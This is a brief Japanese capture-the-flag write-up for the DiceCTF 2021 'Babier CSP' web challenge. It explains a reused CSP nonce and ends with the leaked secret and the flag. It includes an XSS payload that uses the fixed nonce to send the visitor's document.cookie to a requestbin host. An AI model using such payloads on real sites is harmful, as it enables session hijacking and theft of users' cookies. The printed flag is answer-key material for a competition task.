CTFtime.org / DiceCTF 2021 / Babier CSP
ソースコードが与えられる。ソースコードをよく見てみると、以下のようになっている。
const crypto = require("crypto"); const NONCE = crypto.randomBytes(16).toString('base64');
nonceを使ったCSPのためにcryptoを使っているが、シードが変わっていないので、毎回同じnonceが使われることになる。
<script nonce=LRGWAXOY98Es0zz0QOVmag==>alert(1);</script>
これをnameに入れるとalertが出てきたので、cookieを送らせる。
<script nonce=LRGWAXOY98Es0zz0QOVmag==>document.location='https://[requestbin].com/test?cookie='+document.cookie</script>
これをURLエンコーディングしたものを渡すと、secretが取得できる。
secret=4b36b1b8e47f761263796b1defd80745
/4b36b1b8e47f761263796b1defd80745
にアクセスするとフラグ
dice{web_1s_a_stat3_0f_grac3_857720}